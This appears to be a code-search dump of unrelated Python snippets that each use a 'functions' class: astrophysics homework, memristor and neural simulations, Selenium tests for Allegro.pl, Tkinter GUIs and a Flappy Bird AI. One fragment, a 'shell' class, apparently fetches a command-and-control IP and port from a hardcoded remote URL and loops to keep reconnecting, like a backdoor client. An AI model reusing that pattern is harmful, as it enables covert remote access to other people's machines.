def _load(self): # extract information from GUI and initiate class "function" x = self.lbox.curselection()[0] fname = self.fname = self.lbox.get(x) step = float(self.step_input.get()) sample = self.sample = functions(step,fname) # draw figure axis1 = self.axis1 canvas1 = self.canvas1 fig1 = self.fig1 print(fname) sample = functions(step,fname) x = sample.counts_subtractedBG[:,:,0] y = sample.counts_subtractedBG[:,:,1] z = sample.counts_subtractedBG[:,:,2] try: self.colorbar.remove() except: pass im = axis1.imshow(z,cmap=plt.cm.jet,extent=[x.min(),x.max(),y.min(),y.max()],origin='lower') self.colorbar = fig1.colorbar(im, ax=axis1) axis1.set_title(fname,fontsize = 8) canvas1.draw()
def equalize_parameters(self): self.memristors = [] self.waveFunctions = [] self.memristorCircuits = [] for i in self.memristorParameters: if (len(self.memristorParameters[i]) != self.numberOfMemristors): self.memristorParameters[ i] = self.memristorParameters[i] * self.numberOfMemristors for i in self.waveParameters: if (len(self.waveParameters[i]) != self.numberOfMemristors): self.waveParameters[ i] = self.waveParameters[i] * self.numberOfMemristors for i in range(0, self.numberOfMemristors): if (self.memristorParameters['type'][i] == 'Ideal'): memristor = mem.ideal_memristor( self.memristorParameters['D'][i], self.memristorParameters['W_0'][i], self.memristorParameters['R_on'][i], self.memristorParameters['R_off'][i], self.memristorParameters['mobility'][i], self.memristorParameters['polarity'][i]) self.memristors.append(memristor) for i in range(0, self.numberOfMemristors): wave = fn.functions( self.waveDictionary[self.waveParameters['type'][i]], self.waveParameters['amplitude'][i], self.waveParameters['omega'][i], self.waveParameters['pulsewidth'][i], self.waveParameters['start'][i] - 2, self.waveParameters['stop'][i] + 2) self.waveFunctions.append(wave) for i in range(0, self.numberOfMemristors): cmc = create_memristor_circuit( self.waveFunctions[i], self.memristors[i], self.waveParameters['start'][i], self.waveParameters['stop'][i], self.preferences['sampling_frequency']) self.memristorCircuits.append(cmc)
class shell(object): updater = update.Update() config = ConfigManager.ConfigManager("http://85.255.5.44/vxsrfp/eurnni.html") host = config.IpAddress port = config.Port notConnected = True exiting = False functions = functions.functions(host, port) def main(self): if len(sys.argv) == 1: while (self.notConnected and not self.exiting): try: self.notConnected = False self.exiting = self.functions.start() self.notConnected = True except: self.notConnected = True else: if (sys.argv[1] == '-v'): print self.updater.getVersion()
def __init__(self): self.F = fc.functions(seed=1234901)
from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense import numpy as np ''' init PyGame ''' pygame.init() clock = pygame.time.Clock() WINDOW_WIDTH, WINDOW_HEIGHT = 420, 768 WINDOW = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT)) pygame.display.set_caption('FlappyBird AI') FLOOR_HEIGHT = 150 # tools for loading sprites and drawing on screen toolkit = functions(WINDOW) ''' default settings for AI ''' # number of birds in each generation BIRDS_COUNT = 50 # number of neurons to mutate in each generation MUTATION_RATE = .2 # draw the guide lines SHOW_LINES = False # the data of the best brain BEST_BRAIN = None # the fittness of the best bird BEST_FITNESS = 0.0 # the index of current generation
import functions adres_url = 'http://allegro.pl' title_1 = 'Allegro.pl – najlepsze ceny, największy wybór i zawsze bezpieczne zakupy online' advertisment_selector = "div._4f735_Ag0om._ur8qq > div > div._3kk7b._vnd3k._1h8s6._13prn._12isx._kiiea._oeb1x > button" search_item = "rower" search_name = "string" search_title = "%s - Allegro.pl - Więcej niż aukcje. Najlepsze oferty na największej platformie handlowej" % search_item price_item_selector = "div.bf8839e" all_auctions_selector = "div._lsy4e._1hs1x._1ue2y._1t9p2._1h7wt._15mod._1vryf._1yfhn._3db39_1ZtAT._7ccvy" zad2 = functions.functions() zad2.url(adres_url, title_1, advertisment_selector) zad2.search(search_item, search_name, search_title) first_price = zad2.getFirst_price(price_item_selector).text all_auctions = zad2.getAll_auctions(all_auctions_selector).text.split()[-2] number_auctions_per_page = len(zad2.getAuctions_per_page(price_item_selector)) zad2.close() prince_in_gr = first_price.split()[0].split(',') if ((int(prince_in_gr[0]) * 100) + int(prince_in_gr[1])) > int(all_auctions): print("test pass") else: print("test fail") print("price first bicycle: ", first_price) print("number of all auctions: ", all_auctions) print("number of auctions per page: ", number_auctions_per_page)
def __init__(self): self.F = fc.functions(seed=5239589) self.grid_points = 64 self.min_distance = 1. self.n = -2
import numpy as np import pickle import functions as fc #Loading the previous instances with open('instances.pkl', 'rb') as input: constants = pickle.load(input) input.close() #Importing the class 'functions' and initialising the objects used F = fc.functions(constants.x, constants.d1, constants.d2, constants.d3, constants.A, 100) #Creating the arrays of a, b, and c in their intervals with steps of 0.1 a = np.arange(1.1, 2.6, 0.1) b = np.arange(0.5, 2.1, 0.1) c = np.arange(1.5, 4.1, 0.1) #Creating a 3x3 matrix that contains all the values of normalisation constant A #for given a,b,c table = F.abc_matrix(a, b, c) #Generating 3 Random Numbers a, b, and c #To find the interpolated A value rand_nums = list([0]) * 3 intervals = [[1.1, 2.5], [0.5, 2], [1.5, 4]] for i in range(3): rand_nums[i] = F.rand_intervals(*intervals[i], F.RNG()) #Interpolate A given random a,b, and c values (as set in as instance objects) A_interp = F.trilinear_interp(table)
import pickle import matplotlib.pyplot as plt import functions as fc #Loading the previous used instances with open('instances.pkl', 'rb') as _input: constants = pickle.load(_input) _input.close() #Average total number of satellites Nsat = 100 #Importing the class 'functions' and initialising the objects used F = fc.functions(a=constants.d1, b=constants.d2, c=constants.d3, A=constants.A, Nsat=Nsat) #The given data points x_vals = np.array([1e-4, 1e-2, 1e-1, 1, 5]) y_vals = F.density_function(x_vals) #Creating the x values that need to be interpolated for y x_interp = np.linspace(1e-4, 5, 1000) #Creating log space of the given data points x_log = np.log10(x_vals) y_log = np.log10(y_vals) x_interp_log = np.log10(x_interp)
from functions import functions from utilities import read_FASTA, readTextFile, writeTextFile test_dna = functions() test_dna.generate_random_seq(50, "DNA") print(test_dna.get_seq_info()) print(test_dna.get_seq_protein()) writeTextFile("test.txt", test_dna.seq)
import numpy as np import scipy.special import seaborn as sns from yapf.yapflib.yapf_api import FormatCode from Jlearn import Jlearn from functions import functions prova = Jlearn(20) prova2 = functions(5, 25) J = np.loadtxt("J(srg,0.01,100).txt") print(J)
import functions as fc import pickle import numpy as np #Load the pickle file to get the instances as saved by the previous run with open('instances.pkl', 'rb') as _input: seed = pickle.load(_input) _input.close() #Importing the class 'functions' and initialise the seed F = fc.functions(seed.x) #Creating random numbers a, b, and c on their specific intervals rand_nums = list([0]) * 3 intervals = [[1.1, 2.5], [0.5, 2], [1.5, 4]] for i in range(3): rand_nums[i] = F.rand_intervals(*intervals[i], F.RNG()) #Setting the instances d1, d2, and d3 to the newly generated random values a, b, and c F = fc.functions(seed.x, *rand_nums) #Integrating the function as described in the paper to find the normalization #constant A m = 10 #m is the number of initial functions used for Neville's algorithm A_constant = 1 / (F.ROM_integrator(m, F.dr_function) * np.pi * 4) #printing the normalization factor with the corresponding a, b, and c values print('Normalization factor A = {0}'.format(A_constant)) print('for a={0},b={1},c={2}'.format(rand_nums[0], rand_nums[1], rand_nums[2])) #Saving all the instances for the next exercises
import functions # test podaje wszystkie potrzebne dane do wykonania testu - adres strony, tytuł przed i po wyszukiwaniu, szukany obiekt, # oraz potrzebne nazwy klas, selektorów i name adres_url = 'http://allegro.pl' title_1 = 'Allegro.pl – najlepsze ceny, największy wybór i zawsze bezpieczne zakupy online' advertisment_selector = "div._4f735_Ag0om._ur8qq > div > div._3kk7b._vnd3k._1h8s6._13prn._12isx._kiiea._oeb1x > button" search_item = "rower" search_name = "string" search_title = "%s - Allegro.pl - Więcej niż aukcje. Najlepsze oferty na największej platformie handlowej" % search_item # test uruchamia klase functions() uruchamiajac tym samym przegladarkę zad1 = functions.functions() # test wywoluje funkcje odpowiedzialną za przejscie do podanej strony oraz sprawdza czy akcja się powiodła zad1.url(adres_url, title_1, advertisment_selector) # test wywołuje funkcje odpowiedzialną za wyszukiwanie podanego obiektu, przechodzi do strony z wynikami wyszukiwania, # a nastepnie sprawdza czy akcja się powiodła zad1.search(search_item, search_name, search_title) # test zamyka przegladarkę jezeli nie napotkał żadych błędów zad1.close() print("test pass")
def __init__(self): self.F = fc.functions(seed=3438941) self.maxd = 1024 self.min_distance = 1.
import PSO import functions number = input("What function do you want to test? \n press 1 for ackley \n press 2 for sumOfSquare \n press 3 for sphere\n") func = functions.functions() initial=[5,5] # initial starting location [x1,x2...] bounds=[(-5,5),(-5,5)] # input bounds [(x1_min,x1_max),(x2_min,x2_max)...] try: val = int(number) if val == 1: PSO.PSO(func.ackley, initial, bounds, num_particles=15, maxiter=30, verbose=True) elif val == 2: PSO.PSO(func.sumOfSquare, initial, bounds, numa_particles=15, maxiter=30, verbose=True) elif val == 3: PSO.PSO(func.sphere, initial, bounds, num_particles=15, maxiter=30, verbose=True) else: print("Invalid Input") except ValueError: print("That's not an int!") print("No.. input string is not an Integer. It's a string")
#Plot scattering the found data for i in range(3): plt.xscale('log') plt.scatter(m, abc[i], label=labels[i]) plt.ylim(0, 5) plt.legend() plt.xlabel(r'Log(Mass) halo ($\log(m)$) in solar masses') plt.ylabel(r'$a$, $b$, and $c$ values (No Units)') plt.savefig('plots/abc_m.png') plt.close() #Creating log space m_log = np.log10(m) #Importing the class 'functions' F = fc.functions() F.err = errs, F.m_log = m_log #Creating start values for the downhill simplex start = [[0.2, -1.0], [-0.05, 1.4], [-0.29, 6.2]] #Creating a fit array x_fit = np.linspace(1e11, 1e15, 100) #Looping over the parameters for i in range(3): #Setting the start points points = start[i] #Minimizing the function points = F.downhill_simpl(abc[i], F.log_function_ls, points, 1e-12, h=0.01) #plotting the fit together with the scatters
import functions as fc import matplotlib.pyplot as plt import pickle import numpy as np #Initialize a seed for the rest of the program seed = 5283597438 #Importing the class 'functions' and initialise the seed F = fc.functions(seed) #Generating N=1000 random numbers and saving it in rand_nums N = 1000 rand_nums = list([0]) * N for i in range(1000): rand_nums[i] = F.RNG() #Scatter plot the random numbers for x[i+1] (x[1:1000]) against x[i] (x[0:999]) plt.scatter(rand_nums[1:1000], rand_nums[0:999], s=1, color='black') plt.xlabel(r'$x_{i+1}$') plt.ylabel(r'$x_{i}$') plt.savefig('plots/rng_1000.png') plt.close() #Generating one million random numbers and saving it in rand_nums N = 1000000 rand_nums = list([0]) * N for i in range(N): rand_nums[i] = F.RNG() #plotting the result in a histogram to check for uniformity
f.close() for qi in range(Qiters): print("Starting quenched iteration: " + str(qi + 1)) Qgrid = upf(n) #defines place fields centers #CREATE FOLDER FOR SAVING DIFFERENT QUENCHED REALIZATION if not os.path.exists(SimulationName + "/Q" + str(qi + 1)): os.makedirs(SimulationName + "/Q" + str(qi + 1)) np.save(SimulationName + "/Q" + str(qi + 1) + "/grid.npy", Qgrid) #save grid to file for i in range(len(sigma)): print("Initializing Netowrk with xi=" + str(sigma[i])) Network = Jlearn.Network( n, sigma[i] ) #initializes network with N=n^2 neurons and kernel width=sigma func = functions.functions(Network.sigma) #imports function module Network.grid = Qgrid # assignes the quenched place fields Network.BuildJ( ) #Builds connectivity matrix with hebbian rule and kernel with width sigma #np.save(SimulationName+"/Q"+str(qi+1)+"/J"+str(i+1)+".npy",Network.J) #saves interction matrix if not os.path.exists(SimulationName + "/Q" + str(qi + 1) + "/xi" + str(i + 1)): os.makedirs(SimulationName + "/Q" + str(qi + 1) + "/xi" + str(i + 1)) print("Starting dynamics with xi: " + str(sigma[i])) for j in range(len(sparsity)): Vin, Vout = func.attractor_distrib(sparsity[j], Network.J, Network.grid, iterations, ncells) np.save( SimulationName + "/Q" + str(qi + 1) + "/xi" + str(i + 1) +
import copy as cp bif_startpoint = 0.1 maxstep = 1e+4 minstep = 1e-1 step = 5e+2 maxpoints = 500 LocBifPoints = ['LP', 'B'] freepar = 'It' # Bifurcation diagram for control (i.e. no NRF2) DSargs = args(name='Notch_EMT_1cell', checklevel=2) DSargs.pars = aux.parameters(onecell=True, full_model=False) DSargs.varspecs = aux.equations(onecell=True, full_model=False) DSargs.fnspecs = aux.functions() DSargs.ics = { 'W': 20000.0, 'Z': 40000.0, 'Y': 20000.0, 'S': 200000.0, 'N': 0.0e+0, 'D': 0.0e+0, 'J': 0.0e+0, 'I': 20.0e+0 } DSargs.xdomain = { 'W': [0, 5.0e+4], 'Z': [0, 5.0e+6], 'Y': [0, 5.0e+4],
def update_24hr_BCH(): p_24hr = f.get_last24hr_price('BCH') s = str(p_24hr) if (s.find("-", 0) == -1): p24_BCH_label.config(fg='#1aff1a') p24_BCH_label['text'] = f"Last 24hr: +{p_24hr}%" else: p24_BCH_label.config(fg='#cc0000') p24_BCH_label['text'] = f"Last 24hr: {p_24hr}%" p24_BCH_label.after(300000, update_24hr_BCH) # --------------------------------------------------------------------------------- f = functions.functions() #Create object to access list of methods root = tk.Tk() # Create Gui root.title("Cryptocurrency Price Tracker") # ----Set Height of the window----- canvas = tk.Canvas(root, height=HEIGHT, width=WIDTH) canvas.pack() # ----Main Frame (Background Light Blue)------ frame = tk.Frame(root, bg='#0080ff') frame.place(relwidth=1, relheight=1) # -----Import Time------ timefont = Font(family="Open Sans", size=14) time_label = tk.Label(root, font=timefont, bg='#0080ff', fg='#000000') time_label.place(relx=0.01, rely=0.02)
from tkinter import * from tkinter import messagebox from functions import functions from perfiles import perfiles P = perfiles() P.inicio() f=functions() window = Tk() window.geometry('300x400') window.resizable(0,0) window.configure(bg="#263D42") window.title('Auto presente') window.iconbitmap('icon.ico') frame = Frame(window, bg="#263D42") frame.place(relwidth=0.8, relheight=0.8, relx=0.1, rely=0.1) menubar = Menu(window) # ------------------------------- FILE MENU -------------------------------------------------------------------------- filemenu = Menu(menubar, tearoff=0) debug = BooleanVar() filemenu.add_checkbutton(label="Debug mode", variable=debug,onvalue=True, offvalue=False,command= lambda: f._debug(debug)) filemenu.add_separator()